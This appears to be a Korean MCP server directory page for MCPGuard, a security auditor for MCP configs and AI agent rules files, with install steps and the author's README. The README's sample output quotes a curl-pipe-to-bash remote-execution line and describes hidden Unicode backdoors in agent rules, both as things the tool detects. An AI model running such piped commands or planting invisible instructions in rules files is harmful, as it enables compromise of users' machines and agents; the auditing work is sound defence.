프로토타입 · 미리 보기: 공식 레지스트리의 모든 서버를 담고 있으며 30분마다 동기화해요. Google로 로그인하면 리뷰를 쓸 수 있어요.프로토타입 · 30분마다 업데이트
PopNx MCPAI를 쓰는 사람을 위한 MCP 서버 · 쉬운 말로 설명해요 로그인

MCPGuard — MCP Config & AI Agent Rules Security Auditor

제작자: Zluowa버전 1.3.0i★ 0i클라우드에서 실행저장소 ↗

설치 방법

할 수 있는 일

Zero-LLM deterministic security auditor for MCP configs, SKILL.md rules, and agent budgets.

제작자가 쓴 원문

  • 연결 방식 클라우드에서 실행
  • 계정 또는 키 연결할 때 서비스에 로그인(OAuth)
  • 분류 사이버 보안

이 순위인 이유

목록은 사용 점수(100점 만점)로 정렬되며 구성은 다음과 같습니다

인기0/80GitHub 별 또는 주간 다운로드: 큰 쪽 60, 작은 쪽 20
최신성12/1230일 안에 릴리스나 코드 변경이 있으면 만점
응답 중8/8마지막 점검 때 클라우드 엔드포인트가 응답
사용 점수20/100

품질: 기본 점검 4/5개 통과(표시만, 정렬에는 안 씀) · 상승세: 데이터 없음 (급상승 탭에서만 사용)

설치

쓰고 있는 AI 앱을 고른 다음 설정을 복사하세요.

한 문장으로 AI에게 설치 맡기기

MCPGuard — MCP Config & AI Agent Rules Security Auditor 설치해 줘. https://mcp.popnx.com/i/zluowa-mcpguard-kit.md 를 따라 하고, 명령을 먼저 보여 주고 내가 승인하면 실행해.

내 컴퓨터에서 작업하는 AI(Claude Code, Cursor 등)에 붙여 넣으세요. 단계를 읽고 명령을 보여 준 뒤 승인을 기다립니다. 키도 가입도 필요 없습니다. · AI가 읽을 전체 내용 보기

검사 4/5 통과 · 내가 묻는 내용은 제작자 서버(mcp.apify.com)를 거쳐요 · ✓ 명령 확인 2026년 11월 28일

먼저: 어떤 AI를 쓰시나요?

쓰는 앱을 고르면 아래에 단계가 나옵니다.

Claude에 연결할 수 있어요 · 약 2분

키 필요 없음, 설치 필요 없음 · claude.ai나 데스크톱 앱에서 한 번 설정하면 채팅에서 쓸 수 있어요 · 무료 계정은 1개까지 · Team/Enterprise는 소유자(Owner)가 추가

  1. 이 버튼을 누르면 Claude가 미리 채워진 connector 추가 창을 엽니다

    Claude에 MCPGuard — MCP Config & AI Agent Rules Security Auditor 추가 ↗

    이름과 주소가 채워져 있어요. 확인하고 Add를 누르세요 · 로그인하지 않았다면 Claude가 먼저 로그인을 요청해요

    Claude가 찾은 로그인 설정 화면에서 Continue를 누르고 · Authentication은 제작자 안내대로(Sign in now, Sign in when needed, No sign in) 고른 뒤 Add를 누르세요

    버튼이 안 되나요? 직접 입력하기

    CustomizeConnectors

    CustomizeConnectors1Add2https://…3Add4

    “Add” → “Custom” → “Web”를 누르고 이 2칸 채우기

    여기서 복사해 Claude의 같은 이름 칸에 붙여 넣고 Continue를 누르세요

    Name · 이름MCPGuard — MCP Config & AI Agent Rules Security Auditor
    Remote MCP server URL · 주소https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor
  2. 채팅에서 켜기

    +ConnectorsMCPGuard — MCP Config & AI Agent Rules Security Auditor

  3. 해 보기

    MCPGuard — MCP Config & AI Agent Rules Security Auditor을 써서 나에게 무엇을 해 줄 수 있는지 알려 주고, 하나 해 봐

    ✓ Claude가 MCPGuard — MCP Config & AI Agent Rules Security Auditor을 쓰고 있다고 하거나 답에 MCPGuard — MCP Config & AI Agent Rules Security Auditor 도구 이름이 나오면 연결된 거예요

메뉴 이름은 2026년 11월 11일에 Anthropic 도움말에서 확인 · 앱 버전에 따라 화면이 조금 다를 수 있어요

ChatGPT 연결은 요금제에 따라 달라요

전체 MCP: 웹 ChatGPT Business, Enterprise, Edu · Pro: 읽기/가져오기 권한으로 연결, 데이터를 바꾸는 도구는 안 될 수 있어요 · Plus: 공식 문서 미확인, 플러그인 화면에 사용자 지정 MCP 추가 항목이 보이면 시도해 볼 수 있어요 · 웹만

  1. 웹 ChatGPT에서 MCP 추가 페이지 열기

    Plugins+Add custom MCP server

    ChatGPTPlugins1+2https://…3Create4
  2. 이름과 주소 입력

    이름을 넣고 Connection에 주소를 붙여 넣은 뒤 경고에 체크하고 Create as a plugin을 누르세요

    Name · 이름MCPGuard — MCP Config & AI Agent Rules Security Auditor
    Connection · 주소https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor
  3. 채팅에서 MCPGuard — MCP Config & AI Agent Rules Security Auditor 고르기

    새 채팅을 열고 입력 전에 플러그인 목록에서 MCPGuard — MCP Config & AI Agent Rules Security Auditor을 고르세요

  4. 해 보기

    MCPGuard — MCP Config & AI Agent Rules Security Auditor을 써서 나에게 무엇을 해 줄 수 있는지 알려 주고, 하나 해 봐

    ✓ ChatGPT가 MCPGuard — MCP Config & AI Agent Rules Security Auditor을 쓰고 있다고 하거나 답에 MCPGuard — MCP Config & AI Agent Rules Security Auditor 도구 이름이 나오면 연결된 거예요

메뉴 이름은 2026년 11월 11일에 OpenAI 도움말에서 확인 · 앱 버전에 따라 화면이 조금 다를 수 있어요

Claude Code에 연결할 수 있어요 · 약 2분

키 필요 없음, 설치 필요 없음

  1. 터미널 열기

    Mac: Command+스페이스를 누르고 Terminal 입력 · Windows: PowerShell 열기

  2. 이 명령을 붙여 넣고 Enter

    claude mcp add --transport http --scope user mcpguard-kit 'https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor'
  3. Claude Code에서 /mcp 입력

    MCPGuard — MCP Config & AI Agent Rules Security Auditor이 목록에 있고 연결됨으로 보이면 돼요

  4. 해 보기

    MCPGuard — MCP Config & AI Agent Rules Security Auditor을 써서 나에게 무엇을 해 줄 수 있는지 알려 주고, 하나 해 봐

    ✓ Claude Code가 MCPGuard — MCP Config & AI Agent Rules Security Auditor을 쓰고 있다고 하거나 답에 MCPGuard — MCP Config & AI Agent Rules Security Auditor 도구 이름이 나오면 연결된 거예요

메뉴 이름은 2026년 11월 11일에 Anthropic 도움말에서 확인 · 앱 버전에 따라 화면이 조금 다를 수 있어요

Cursor에 연결할 수 있어요 · 약 2분

키 필요 없음, 설치 필요 없음

  1. 이 버튼으로 Cursor 열기

    Cursor에서 열기

    Cursor가 설치를 확인하면 Install을 누르세요

  2. Cursor에서 AI 채팅을 Agent 모드로 열기

  3. 해 보기

    MCPGuard — MCP Config & AI Agent Rules Security Auditor을 써서 나에게 무엇을 해 줄 수 있는지 알려 주고, 하나 해 봐

    ✓ Cursor가 MCPGuard — MCP Config & AI Agent Rules Security Auditor을 쓰고 있다고 하거나 답에 MCPGuard — MCP Config & AI Agent Rules Security Auditor 도구 이름이 나오면 연결된 거예요

메뉴 이름은 2026년 11월 11일에 Cursor 도움말에서 확인 · 앱 버전에 따라 화면이 조금 다를 수 있어요

VS Code에 연결할 수 있어요 · 약 2분

키 필요 없음, 설치 필요 없음

  1. 이 버튼으로 VS Code 열기

    VS Code에서 열기

    VS Code가 설치를 확인하면 Install을 누르세요

  2. VS Code에서 AI 채팅을 Agent 모드로 열기

  3. 해 보기

    MCPGuard — MCP Config & AI Agent Rules Security Auditor을 써서 나에게 무엇을 해 줄 수 있는지 알려 주고, 하나 해 봐

    ✓ VS Code가 MCPGuard — MCP Config & AI Agent Rules Security Auditor을 쓰고 있다고 하거나 답에 MCPGuard — MCP Config & AI Agent Rules Security Auditor 도구 이름이 나오면 연결된 거예요

메뉴 이름은 2026년 11월 11일에 VS Code 도움말에서 확인 · 앱 버전에 따라 화면이 조금 다를 수 있어요

Windsurf, Zed, Gemini CLI 같은 다른 MCP 앱은 추가 방법이 저마다 달라요. 앱 목록에서 확인하세요

MCP를 쓰는 앱 모두 보기 →

웹으로 연결하는 앱용 주소

주소https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor

JSON 설정은 아래 “개발자용”에 있어요

막혔나요? MCPGuard — MCP Config & AI Agent Rules Security Auditor을 쓰는 사람에게 물어보세요💬 토론 →
개발자용: 터미널 명령과 JSON 설정

웹으로 연결

Claude Code

claude mcp add --transport http --scope user mcpguard-kit 'https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor'

Cursor (~/.cursor/mcp.json)

{
  "mcpServers": {
    "mcpguard-kit": {
      "url": "https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor"
    }
  }
}

VS Code (mcp.json)

{
  "servers": {
    "mcpguard-kit": {
      "type": "http",
      "url": "https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor"
    }
  }
}

이 설정은 제작자의 레지스트리 정보로 만들었어요. README와 다르면 README를 따르세요.

한눈에 보기

레지스트리 이름
io.github.Zluowa/mcpguard-kit
주간 다운로드i
npm/PyPI에 없음
라이선스i
라이선스 표시 없음
연결 방식
클라우드에서 실행
전송 방식
streamable-http
최신 버전i
1.3.0
카테고리i
사이버 보안
레지스트리 공개i
2026년 11월 27일
코드 마지막 변경i
2026년 11월 27일
마지막 확인
2026년 11월 28일
제작자
Zluowa
웹사이트
github.com
레지스트리 상태
활성

어떤 앱에서 쓸 수 있나요

이 서버의 연결 방식과 각 앱의 공식 문서를 바탕으로 했어요. 2026년 11월 10일 확인.

인터넷으로 연결하는 앱

ClaudeChatGPTGooseLM StudioMsty StudioCherry StudioCursorVS Code + GitHub CopilotVisual StudioWindsurf (Devin Desktop)ZedKiroClineContinueJetBrains AI AssistantClaude CodeCodex CLIGemini CLIOpenCodenodecodeWarpLibreChatOpen WebUIRaycast

모든 앱과 장단점 →

할 수 있는 일

서버가 도구 목록을 보여 주기 전에 로그인을 요구해요.

기본 점검i

누구나 볼 수 있는 정보를 점검했고, 코드는 읽지 않았어요. 해당하지 않는 항목은 개수에서 뺐어요. · 2026년 11월 28일 점검

  • ✓ 통과

    제작자와 저장소 일치

    레지스트리 이름이 GitHub 계정 Zluowa 기준으로 확인되었고, 이 계정이 저장소를 소유하고 있어요

  • ✓ 통과

    계속 관리되고 있음

    코드 마지막 변경: 어제

  • ✕ 실패

    라이선스 있음

    저장소에서 라이선스 파일을 찾지 못했어요

  • ✓ 통과

    엔드포인트 응답

    193ms 만에 응답(HTTP 401)

  • ✓ 통과

    OAuth로 로그인

    OAuth 로그인을 지원한다고 밝혀서, AI 앱이 로그인 화면으로 안내해 줘요

  • … 아직 점검 안 함

    도구 설명에 숨겨진 지시 없음

    아직 점검하지 않았어요. 엔드포인트를 점검할 때 도구 목록을 읽어요

우리가 확인하는 것 → · JSON

제작자: 재확인 요청 또는 잘못된 정보 신고
제작자용: README에 배지 달기

제작자라면 이 코드를 README에 붙여 넣으세요. 배지는 이 페이지로 연결됩니다.

[![Featured on PopNx MCP](https://mcp.popnx.com/badge/zluowa-mcpguard-kit.svg)](https://mcp.popnx.com/en/servers/zluowa-mcpguard-kit)

토론

질문하고, 팁을 나누고, 안 되는 점을 알려 주세요. "도움이 됨"이 많은 순서예요.

아직 글이 없어요. 처음으로 질문하거나 공유해 보세요.

이곳의 글은 사용자가 쓴 것으로, PopNx 팀의 글이 아니에요.

로그인하고 글쓰기

사용자 리뷰

아직 리뷰가 없어요

로그인하고 리뷰 쓰기

사이버 보안 카테고리의 다른 서버와 비교i

  • 이 카테고리의 다른 서버 1250개 중 0%보다 스타가 많아요
  • 이 카테고리의 다른 서버 1250개 중 99%보다 최근에 레지스트리에 공개됐어요
  • 기본 점검 결과가 이 카테고리의 다른 서버 1250개 중 50%와 같거나 더 좋아요

레지스트리에서 이 카테고리의 활성 서버 전체와 비교했어요. 스타는 게시자가 저장소를 소유한 경우에만 세요.

자주 묻는 질문

MCPGuard — MCP Config & AI Agent Rules Security Auditor, 안전한가요?

해당하는 기본 점검 5개 중 4개를 통과했어요. 코드는 읽지 않았어요. 키나 토큰을 넣기 전에 서버가 어떤 권한을 요구하는지 확인하고, 꼭 필요한 권한만 있는 키를 쓰세요.

어떤 키나 코드가 필요한가요?

레지스트리에 필수 키가 나와 있지 않아요. 다만 처음 쓸 때 로그인을 요구하는 서버도 있어요.

내 컴퓨터에서 실행되나요, 클라우드에서 실행되나요?

제작자의 클라우드에서 실행돼요. 설치 없이 인터넷으로 연결하지만, 보내는 내용은 제작자의 서버를 거쳐요.

아직 관리되고 있나요?

GitHub 저장소는 마지막으로 어제 변경됐고, 최신 버전(1.3.0)은 어제 레지스트리에 올라왔어요.

어떤 앱에서 쓸 수 있나요?

Claude Desktop, Claude Code, Cursor, VS Code처럼 MCP를 지원하는 앱에서 쓸 수 있어요. URL로 연결되므로 원격 MCP를 받는 앱에서도 쓸 수 있어요. 예: 웹 ChatGPT(Business 이상은 전체 MCP, Pro는 읽기 전용).

대신 쓸 수 있는 건 뭐가 있나요?

같은 카테고리에는: GitHits, Dependency Management MCP Server, Snyk MCP, TokenSafe, Draugr

비슷하게 동작하는 다른 것

같은 카테고리, 다른 제작자, 명령 확인 완료. 공식이 먼저, 그다음 스타 순.

카드 보는 법:↓ 주간 다운로드i★ GitHub 스타i세 기둥: 리뷰 · 점검 · 사용 정도i업데이트 = 최신 버전을 레지스트리에 공개한 날i

GitHits

Search public open-source code, documentation, metadata, vulnerabilities, changelogs, and examples.

제작자: githits-com성장 중↓ 1.9천/주★ 1419일 전 업데이트

바로 연결 (URL 있음) · 로그인 필요✓ 서비스 회사 · githits.com

Snyk MCP

Easily find and fix security issues in your applications leveraging Snyk platform capabilities.

제작자: snyk널리 사용됨↓ 76.2만/주★ 617개월 전 업데이트

내 컴퓨터에서 실행✓ 서비스 회사 · snyk.io

TokenSafe

Your AI agent is smart enough to code all day. Local firewall & zero-loss runtime.

제작자: tokensafe-dev널리 사용됨↓ 6.8천/주★ 48오늘 업데이트

바로 연결 (URL 있음)도구 9개 · 가벼움✓ 서비스 회사 · tokensafe.dev

Draugr

Security scanning for AI agents: SAST, SCA, secrets, IaC, DAST, ranked by real risk.

제작자: draugr-dev초기★ 30어제 업데이트

내 컴퓨터에서 실행✓ 서비스 회사 · draugr.dev
비슷한 항목과 비교
이 항목
MCPGuard — MCP Config & AI Agent Rules Security Auditor
GitHitsDependency Management MCP ServerSnyk MCPTokenSafeDraugr
실행 위치클라우드에서 동작, 설치 불필요클라우드 또는 컴퓨터 설치 모두 가능클라우드에서 동작, 설치 불필요컴퓨터에 설치 필요클라우드 또는 컴퓨터 설치 모두 가능컴퓨터에 설치 필요
키 필요아니요아니요아니요아니요아니요아니요
Claude에서 +로 추가아니요아니요아니요아니요아니요아니요
기본 점검4/55/53/43/35/53/3
라이선스–Apache-2.0–Apache-2.0MITApache-2.0
가격등록 정보에 비용 없음등록 정보에 비용 없음등록 정보에 비용 없음등록 정보에 비용 없음등록 정보에 비용 없음등록 정보에 비용 없음

제작자의 README

README 열기

제작자의 저장소에서 쓰인 그대로 가져왔어요. PopNx MCP가 검토하거나 보증한 내용이 아니에요. HTML, 이미지, 스크립트는 제거했어요. 링크를 누르면 이 사이트를 벗어나요.

MCPGuard & LoopBreaker Kit (v1.3.0)

Zero-dependency Node.js AI Agent Security & Cost Gate — audit MCP configurations (mcp.json / JSONC), AI agent rules & skills (AGENTS.md, CLAUDE.md, GEMINI.md, .cursorrules, SKILL.md), and agent spend/loop logs in milliseconds with zero LLM calls and deterministic exit codes.

Available as a Zero-Install CLI, GitHub Action (SARIF 2.1.0), 5-Tool Stdio MCP Server, Offline Single-File Web UI, Apify Store Actor (`zluowa/mcpguard-security-auditor`), and Live x402 v2 Base USDC API (`mcpguard-x402-api.vercel.app`) (also self-hostable).


30-Second Quick Start (Zero npm install)

1. Run directly from GitHub with npx
# Audit your current repository (discovers MCP configs + Agent Rules/SKILL.md -> 0-100 score + Markdown)

npx --yes github:Zluowa/mcpguard-kit audit-repo . --markdown

Audit an MCP config (JSON or JSONC) and export SARIF 2.1.0

npx --yes github:Zluowa/mcpguard-kit audit-mcp .vscode/mcp.json --sarif > mcpguard.sarif

Audit AI agent rules files for invisible Unicode backdoors, secrets & Context Tax bloat

npx --yes github:Zluowa/mcpguard-kit audit-rules . --max-tokens 4000

Run budget & ping-pong loop circuit breaker against agent JSONL logs

npx --yes github:Zluowa/mcpguard-kit circuit-break agent-runs.jsonl --max-usd 5.00 --max-pingpong 4

2. Drop-in GitHub Action (PR Security Gate + Step Summary + SARIF)
name: MCPGuard Security Gate

on: [push, pull_request]

permissions: contents: read security-events: write

jobs: mcpguard: runs-on: ubuntu-latest timeout-minutes: 10 steps:

  • uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4
  • uses: Zluowa/mcpguard-kit@v1.3.0 with: target: '.' max-tokens: '4000' sarif-file: 'mcpguard-repo.sarif' fail-on-findings: 'true'
3. Mount as a Native 5-Tool Stdio MCP Server (Claude / Cursor / VS Code)
{

"mcpServers": { "mcpguard": { "command": "npx", "args": ["--yes", "github:Zluowa/mcpguard-kit", "mcp-server"] } } }

Exposes 5 deterministic JSON-RPC 2.0 tools: audit_repository, audit_mcp_config, sanitize_mcp_config, audit_rules_file, and evaluate_circuit_breaker.


Real Scan Output Examples (Verified Against Included Fixtures)

audit-mcp Catching Hardcoded Secrets, Broad FS Scope & Unpinned npx
$ node cli/mcpguard.mjs audit-mcp examples/sample-mcp.json

MCP Security Audit: sample-mcp.json (4 servers) Summary: CRITICAL=2 HIGH=3 MEDIUM=1 LOW=0 | Status=FAIL

  • [MEDIUM] UNPINNED_NPX_PACKAGE (mcpServers.filesystem-unsafe.args): Unpinned dynamic package "@modelcontextprotocol/server-filesystem" executed via npx (supply-chain drift risk) Fix: Pin an explicit semver (e.g. "@modelcontextprotocol/server-filesystem@1.2.3") so upstream releases cannot silently alter tool behavior.
  • [HIGH] OVERBROAD_FS_ROOT (mcpServers.filesystem-unsafe.args): MCP server granted overly broad filesystem scope: "/" Fix: Scope filesystem MCP servers to a dedicated project subdirectory with least-privilege permissions.
  • [CRITICAL] OPENAI_KEY (mcpServers.openai-helper.env.OPENAI_API_KEY): OpenAI API Key hardcoded in MCP config (sk-p…ONLY) Fix: Move credential out of mcp.json and reference an environment variable (${ENV_VAR}) or secret manager.
  • [HIGH] BEARER_LITERAL (mcpServers.remote-analytics.headers.Authorization): Hardcoded Bearer Token hardcoded in MCP config (Bear…7890) Fix: Move credential out of mcp.json and reference an environment variable (${ENV_VAR}) or secret manager.
  • [HIGH] INSECURE_HTTP_TRANSPORT (mcpServers.remote-analytics.url): Remote MCP server uses plaintext HTTP (http://mcp.example.com/sse?api_key=demo_inline_query_secret_987654) Fix: Switch remote MCP endpoint to HTTPS/TLS.
  • [CRITICAL] URL_QUERY_SECRET (mcpServers.remote-analytics.url): Secret/API key embedded in MCP URL query string Fix: Move credentials to encrypted request headers or OAuth flow; never place secrets in query strings.

Exit code: 4 (SECURITY_VIOLATION)

audit-rules Catching Invisible Unicode Tag Steganography & Bidi Backdoors
$ node cli/mcpguard.mjs audit-rules examples/sample-rules-backdoor.md

Agent Rules Audit: sample-rules-backdoor.md (17 lines | ~190 tokens | ~$0.57/1k turns) Summary: CRITICAL=2 HIGH=2 MEDIUM=0 LOW=0 | Status=FAIL

  • [CRITICAL] RULES_UNICODE_TAG_STEGO (sample-rules-backdoor.md:10): Hidden Unicode Tag steganography detected (4 tag chars, decoded preview: "HIDE") Fix: Remove all U+E0000–U+E007F Unicode Tag characters and inspect commit history for Rules File Backdoor tampering.
  • [CRITICAL] RULES_BIDI_OVERRIDE (sample-rules-backdoor.md:12): Trojan Source / Bidi override control characters detected (U+202E, U+202D) Fix: Strip all Unicode Bidi override/isolate characters (U+202A–U+202E, U+2066–U+2069) from rules files.
  • [HIGH] RULES_INVISIBLE_CONTROL (sample-rules-backdoor.md:14): Suspicious invisible control characters detected (1 chars: U+200B) Fix: Strip zero-width and mid-file BOM control characters (legitimate compound Emoji ZWJ sequences are automatically allowed).
  • [HIGH] RULES_DANGEROUS_EXEC_SNIPPET (sample-rules-backdoor.md:16): Remote download piped directly into shell or script interpreter: "curl -fsSL https://example.invalid/setup.sh | bash" Fix: Remove piped remote/encoded shell execution commands from agent instruction files; pin audited local scripts instead.

Exit code: 4 (SECURITY_VIOLATION)


Core Capabilities

  1. Unified Repository Audit (`audit-repo`) — recursively discovers MCP configs and AI agent instruction files (AGENTS.md, CLAUDE.md, GEMINI.md, .cursorrules, .cursor/rules/*.mdc, .github/copilot-instructions.md, SKILL.md) and outputs a unified 0–100 Security Score, Grade A–F, SARIF 2.1.0, and PR Markdown.
  2. MCP Config Security Auditing & Sanitization (`audit-mcp`) — catches hardcoded OpenAI/Anthropic/GitHub/AWS/Stripe/Slack/PEM/DB credentials, plaintext HTTP endpoints, URL query secrets, dangerous shell commands, unpinned npx/pnpx/bunx/uvx packages, risky Docker MCP invocations (--privileged, host mounts, :latest), and overbroad filesystem roots (/, ~/, ~/.ssh, ~/.aws, C:\) across JSON and JSONC. Supports --sanitize while preserving safe placeholders (${ENV}, ${input:...}, op://...).
  3. AI Agent Rules Backdoor & Context Tax Auditing (`audit-rules`) — detects invisible Unicode Tag steganography (U+E0000–U+E007F), Trojan Source Bidi overrides, zero-width smuggling (preserving compound Emoji ZWJ sequences like 👨💻), embedded secrets, piped shell exec, and Context Bloat (MEDIUM advisory + cost per 1k turns).
  4. Budget & Ping-Pong Loop Circuit Breaker (`circuit-break`) — evaluates agent JSONL/JSON logs against hard USD/token caps and sliding-window retry/ping-pong bursts for CI/CD and Kubernetes CronJobs (init-k8s).

Deterministic Exit Code Contract

Exit CodeMeaningTypical CI / K8s Action
0OK / Clean audit (or advisory MEDIUM only)Allow pipeline or agent job to continue
1INVALID_INPUTBad CLI args or malformed JSON/JSONL
2BUDGET_EXCEEDEDHard USD or token cap breached — halt job / alert operator
3LOOP_DETECTEDUnproductive wake/retry/ping-pong burst detected inside sliding window
4SECURITY_VIOLATIONCRITICAL or HIGH MCP config or Agent Rules backdoor/secret finding — block PR merge

Live Cloud API (x402), Apify Actor & Self-Hosted Deployment

  • [Live x402 v2 Base USDC API (`mcpguard-x402-api.vercel.app`)](https://mcpguard-x402-api.vercel.app): Pay-per-call on Base Mainnet (eip155:8453, $0.005 USDC / call, no account or API key required). Discovery endpoints: /api/health, /.well-known/x402, /openapi.json, and /llms.txt. Paid POST routes: /api/v1/audit-mcp, /api/v1/sanitize-mcp, /api/v1/audit-rules, /api/v1/audit-repo-bundle, /api/v1/circuit-break.
  • [Public Apify Store PPE Actor](https://apify.com/zluowa/mcpguard-security-auditor) & [Remote MCP](https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor): Runs as zluowa/mcpguard-security-auditor on pure node:24-alpine (128–256 MB RAM, Limited permissions). The remote MCP endpoint uses an Apify API token; the local CLI, GitHub Action, and self-hosted API remain free.
  • MCP Registry & Glama Metadata: Includes server.json (io.github.Zluowa/mcpguard-kit) and glama.json.
  • Self-Hosted HTTP / Vercel / Cloudflare Workers: Run locally with node cli/mcpguard.mjs serve --port 8787, deploy dist/vercel-app/ to Vercel, or deploy deploy/cloudflare-worker.mjs to Cloudflare Workers with optional x402 v2 Base USDC payment gating (/.well-known/x402, /openapi.json, /llms.txt).
  • Offline Single-File Browser UI: Open web/index.html directly in any browser — zero server, zero cookies, zero uploads.

Local Development & Verification

git clone https://github.com/Zluowa/mcpguard-kit.git

cd mcpguard-kit npm test npm run demo:mcp npm run demo:rules npm run demo:breaker

See BENCHMARK_AND_POSITIONING.md for the 14-repo (81 MCP config) + 24-repo (19 Rules file) benchmark results and CHANGELOG.md for full version history.